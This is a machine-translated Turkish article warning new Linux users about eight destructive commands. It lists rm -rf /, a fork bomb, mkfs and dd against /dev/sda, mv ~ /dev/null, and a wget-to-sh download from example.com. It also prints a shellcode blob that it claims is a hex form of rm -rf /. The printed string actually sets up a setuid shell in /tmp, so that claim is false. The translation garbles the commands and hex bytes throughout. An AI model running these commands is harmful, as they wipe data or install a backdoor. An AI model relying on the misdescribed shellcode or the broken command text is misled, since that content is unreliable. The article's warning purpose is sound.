Anasayfa » nasıl » Linux'ta Asla Çalıştırmamanız Gereken 8 Ölümcül Komut

    Linux'ta Asla Çalıştırmamanız Gereken 8 Ölümcül Komut

    Linux'un terminal komutları güçlüdür ve Linux, sisteminizi kıracak bir komut çalıştırıp çalıştırmadığınızı onaylamanızı istemeyecektir. Yeni Linux kullanıcılarına bu komutları şaka gibi yapmalarını tavsiye ederek trolleri çevrimiçi olarak görmek nadir değildir..

    Çalıştırmamanız gereken komutları öğrenmek, Linux'un nasıl çalıştığı konusundaki anlayışınızı arttırırken trollerden korunmanıza yardımcı olabilir. Bu ayrıntılı bir rehber değildir ve buradaki komutlar çeşitli şekillerde yeniden karıştırılabilir.

    Bu komutların çoğunun yalnızca önceden eklenmişse tehlikeli olacağını unutmayın. sudo Ubuntu'da - başka türlü çalışmayacaklar. Diğer Linux dağıtımlarında çoğu komut root olarak çalıştırılmalıdır..

    Resim Kredisi: Twitter ve Jason Ford'dan remiks edilen Skull ve Crossbones

    rm -rf / - Her şeyi siler!

    Komuta rm -rf / Sabit sürücünüzdeki dosyalar ve bağlı çıkarılabilir medya aygıtlarındaki dosyalar da dahil olmak üzere mümkün olan her şeyi siler. Bu komut bozulursa daha anlaşılırdır:

    rm - Aşağıdaki dosyaları kaldırın.

    -rf - Rm tuşunu tekrarlayarak çalıştırın (belirtilen klasördeki tüm dosyaları ve klasörleri silin) ​​ve sizden sormadan tüm dosyaları zorla çıkartın.

    / - Rm'ye, bilgisayarınızdaki tüm dosyaları ve uzak dosya paylaşımları ve çıkarılabilir sürücüler de dahil olmak üzere tüm bağlı medya aygıtlarını içeren kök dizinde başlamasını söyler..

    Linux bu emri mutlu bir şekilde yerine getirecek ve sizden sormadan her şeyi silecektir, bu yüzden kullanırken dikkatli olun! Rm komutu başka tehlikeli şekillerde de kullanılabilir - rm -rf ~ ana klasörünüzdeki tüm dosyaları silerken rm -rf. * tüm yapılandırma dosyalarınızı silerdi.

    Ders: Dikkatli olun rm -rf.

    Gizli rm -rf /

    İşte tüm web'de kodun başka bir parçası:

    char esp [] __attribute__ ((bölüm (“. metin”))) / / e.s.p
    serbest bırakmak */
    = “\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68”
    “\ Xff \ xff \ xff \ xff \ x68 \ XDF adresine yönlendirilir \ xd0 \ XDF adresine yönlendirilir \ xd9 \ x68 \ x8d \ x99”
    “\ XDF adresine yönlendirilir \ X81 \ x68 \ x8d \ x92 \ XDF adresine yönlendirilir \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7”
    “\ X56 \ x04 \ xf7 \ X56 \ X08 \ xf7 \ X56 \ x0c \ X83 \ xc4 \ X74 \ X56”
    “\ X8d \ X73 \ X08 \ X56 \ x53 \ x54 \ X59 \ xb0 \ x0b \ XCD \ x80 \ x31”
    “\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ XBd \ xff \ xff \ xff \ x2f \ X62 \ x69”
    “\ X6e \ x2f \ X73 \ x68 \ x00 \ X2D \ X63 \ x00”
    “Cp -p / bin / sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    Bu, rm -rf / nin hex versiyonudur. - Bu komutu çalıştırmak, dosyalarınızı tıpkı rm -rf / çalıştırmış gibi temizlemenizi sağlar..

    Ders: Anlamadığın, tuhaf görünümlü, açıkça gizlenmiş komutları çalıştırma.

    : () : |: & ;: - Çatal Bombası

    Aşağıdaki satır basit görünümlü fakat tehlikeli bir bash işlevidir:

    : () : |: & ;:

    Bu kısa çizgi, kendisinin yeni kopyalarını yaratan bir kabuk işlevi tanımlar. İşlem sürekli olarak kendini kopyalar ve kopyaları sürekli olarak kendini kopyalar, tüm CPU zamanınızı ve hafızanızı hızlı bir şekilde alır. Bu, bilgisayarınızın donmasına neden olabilir. Temel olarak hizmet reddi saldırısı.

    Ders: Bash fonksiyonları güçlüdür, hatta çok kısa olanlar.

    Resim Kredisi: Wikimedia Commons Üzerine Dake

    mkfs.ext4 / dev / sda1 - Sabit Sürücüyü Biçimlendirir

    mkfs.ext4 / dev / sda1 komut anlamak kolaydır:

    mkfs.ext4 - Aşağıdaki cihazda yeni bir ext4 dosya sistemi oluşturun.

    / Dev / sda1 - Muhtemelen kullanımda olan ilk sabit sürücüdeki ilk bölümü belirtir..

    Birlikte ele alındığında, bu komut c: biçimini çalıştırmaya eşdeğer olabilir: Windows'ta - ilk bölümünüzdeki dosyaları siler ve onları yeni bir dosya sistemiyle değiştirir.

    Bu komut başka şekillerde de gelebilir - mkfs.ext3 / dev / sdb2 ext3 dosya sistemiyle ikinci bölümü ikinci sabit sürücüde biçimlendirir.

    Ders: / Dev / sd ile başlayan komutları doğrudan çalışan sabit disk aygıtlarında çalıştırma.

    command> / dev / sda - Bir Sabit Sürücüye Doğrudan Yazıyor

    komut> / dev / sda çizgi benzer şekilde çalışır - bir komutu çalıştırır ve bu komutun çıktısını doğrudan ilk sabit sürücünüze gönderir, verileri doğrudan sabit disk sürücüsüne yazar ve dosya sisteminize zarar verir.

    komuta - Bir komut çalıştırın (herhangi bir komut olabilir.)

    > - Komutun çıktısını aşağıdaki konuma gönderin.

    / Dev / sda - Komutun çıktısını doğrudan sabit disk cihazına yazın..

    Ders: Yukarıdaki gibi, / dev / sd ile başlayan sabit diskli cihazları içeren çalışan komutlara dikkat edin..

    dd if = / dev / random = / dev / sda - Sabit Sürücüye Önemsiz Yazıyor

    dd if = / dev / = / dev / sda rasgele hat ayrıca sabit sürücülerinizden birinin verilerini de silecektir..

    gg - Bir konumdan diğerine düşük düzeyli kopyalama yapın.

    Of = / dev / rastgele halinde - Giriş olarak / dev / random (random data) kullanın - / dev / zero (sıfır) gibi konumları de görebilirsiniz..

    of = / dev / sda - İlk sabit diske çıktı alın, dosya sistemini rasgele çöp verileriyle değiştirin.

    Ders: dd, verileri bir konumdan diğerine kopyalar; bu, doğrudan bir cihaza kopyalarsanız tehlikeli olabilir.

    Resim Kredisi: Flickr'da Matt Rudge

    mv ~ / dev / null - Giriş Dizininizi Bir Kara Deliğe taşır

    / dev / null başka bir özel konumdur - bir şeyi / dev / null öğesine taşımak onu yok etmekle aynı şeydir. / Dev / null'u bir kara delik olarak düşünün. esasen, mv ~ / dev / null tüm kişisel dosyalarınızı bir kara deliğe gönderir.

    mv - Aşağıdaki dosyayı veya dizini başka bir yere taşıyın.

    ~ - Tüm giriş klasörünüzü temsil eder.

    / Dev / null - Giriş klasörünüzü / dev / null konumuna getirin, tüm dosyalarınızı imha edin ve orijinal kopyaları silin.

    Ders: ~ Karakteri giriş klasörünüzü temsil eder ve / dev / null öğelerine hareket ettirmek onları yok eder.

    wget http://example.com/something -O - | sh - Bir Komut Dosyasını İndirir ve Çalıştırır

    Yukarıdaki satır web'den bir betiği indirir ve betiğin içeriğini yürüten sh'a gönderir. Bu betiğin ne olduğundan emin değilseniz veya kaynağına güvenmiyorsanız tehlikeli olabilir - güvenilmeyen komut dosyaları çalıştırmayın.

    wget - Bir dosyayı indirir. (Ayrıca wget yerine kıvrılma görebilirsiniz.)

    http://example.com/something - Dosyayı bu konumdan indirin.

    | - Wget komutunun çıktısını (indirdiğiniz dosya) doğrudan başka bir komuta aktarın (gönderin).

    sh - Dosyayı bir bash betiği ise yürüten sh komutuna gönderin.

    Ders: Bir komutla bile, güvenilmeyen komut dosyalarını web'den indirmeyin ve çalıştırmayın.


    Yeni (ve deneyimli) Linux kullanıcılarının çalıştırmaması gereken başka tehlikeli komutlar biliyor musunuz? Yorum bırak ve paylaş!